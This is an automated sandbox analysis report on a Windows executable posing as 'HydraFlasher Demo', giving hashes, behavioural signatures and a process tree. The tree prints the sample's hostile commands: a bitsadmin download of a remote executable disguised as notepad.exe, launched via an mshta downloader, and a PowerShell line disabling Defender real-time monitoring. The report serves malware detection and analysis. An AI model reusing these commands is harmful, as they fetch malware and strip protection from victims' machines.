Analysis
-
max time kernel
13s -
max time network
15s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26-08-2024 04:47
Static task
static1
General
-
Target
HydraFlasher Demo V-5.6.exe
-
Size
10.6MB
-
MD5
9318cec16ebb1fe5e0d49418b03caac7
-
SHA1
279bb51179dafe0bd576b969cb46d135b9942d0b
-
SHA256
536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0
-
SHA512
5acd6d4add2a4cdd950dae91e7c97d977c683a114e2473c3950fa5f80a2cadcbc20bf263afc6e2de3268135ed1f97549b2b51f2a70583f5b55c284b8f6c8e4b3
-
SSDEEP
196608:5IVZmd09RfQnf0dLTdGX4n03regAC7G5Ow0CZS8avlvPuTSce+GK0zsF9zMrgRIi:f6Yf0dHEX4n2FApOwtQlvmfYwArM/ev0
Malware Config
Signatures
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
.NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
Processes:
resource yara_rule C:\Users\Admin\HydraFlasher Demo.exe net_reactor behavioral1/memory/964-46-0x00000000007F0000-0x0000000001290000-memory.dmp net_reactor -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exeHydraFlasher Demo V-5.6.exeHydraFlasher Demo V.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation HydraFlasher Demo V-5.6.exe Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation HydraFlasher Demo V.exe -
Executes dropped EXE 2 IoCs
Processes:
HydraFlasher Demo V.exeHydraFlasher Demo.exepid process 1128 HydraFlasher Demo V.exe 964 HydraFlasher Demo.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
HydraFlasher Demo V-5.6.exemshta.exeHydraFlasher Demo.exebitsadmin.exepowershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HydraFlasher Demo V-5.6.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HydraFlasher Demo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bitsadmin.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Modifies registry class 1 IoCs
Processes:
HydraFlasher Demo V.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings HydraFlasher Demo V.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2428 powershell.exe 2428 powershell.exe 2428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2428 powershell.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
HydraFlasher Demo V-5.6.exeHydraFlasher Demo V.exemshta.exeHydraFlasher Demo.exedescription pid process target process PID 3224 wrote to memory of 1128 3224 HydraFlasher Demo V-5.6.exe HydraFlasher Demo V.exe PID 3224 wrote to memory of 1128 3224 HydraFlasher Demo V-5.6.exe HydraFlasher Demo V.exe PID 1128 wrote to memory of 884 1128 HydraFlasher Demo V.exe mshta.exe PID 1128 wrote to memory of 884 1128 HydraFlasher Demo V.exe mshta.exe PID 1128 wrote to memory of 884 1128 HydraFlasher Demo V.exe mshta.exe PID 1128 wrote to memory of 964 1128 HydraFlasher Demo V.exe HydraFlasher Demo.exe PID 1128 wrote to memory of 964 1128 HydraFlasher Demo V.exe HydraFlasher Demo.exe PID 1128 wrote to memory of 964 1128 HydraFlasher Demo V.exe HydraFlasher Demo.exe PID 884 wrote to memory of 4908 884 mshta.exe bitsadmin.exe PID 884 wrote to memory of 4908 884 mshta.exe bitsadmin.exe PID 884 wrote to memory of 4908 884 mshta.exe bitsadmin.exe PID 964 wrote to memory of 2428 964 HydraFlasher Demo.exe powershell.exe PID 964 wrote to memory of 2428 964 HydraFlasher Demo.exe powershell.exe PID 964 wrote to memory of 2428 964 HydraFlasher Demo.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe4⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:4908 -
C:\Users\Admin\HydraFlasher Demo.exe"C:\Users\Admin\HydraFlasher Demo.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2428
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
10.6MB
MD5154e7c4941e5c99f6fe369ff90dc8370
SHA1d155c4fcccc60ae26291fd1177780b3591ccbb49
SHA256ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24
SHA512c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
888B
MD52dc6046e1cd218ba1ae101c6a96cb1ea
SHA126f057f84ca50739d3be3bdb022906b296364744
SHA256012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8
SHA51249f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179
-
Filesize
10.6MB
MD5ac70d7032b72fb148ac74a0b902de461
SHA1c3fe932e0e5f672b1dedd5309087f7e7d165c683
SHA256a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63
SHA512f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a